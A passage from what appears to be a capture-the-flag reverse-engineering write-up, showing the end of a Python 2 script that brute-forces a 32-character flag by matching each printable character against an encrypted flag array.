        v4 = v3;
        if(v3 == 0): break
    return v5 ^ 0x23

pos  = 0
flag = ''
while 1:
    if pos == 32: break
    for i in range(32,127):
        tmp = encrypt(i,pos)
        if en_flag[pos] == tmp:
            flag += chr(i)
            pos += 1
            break
print flag

其他WP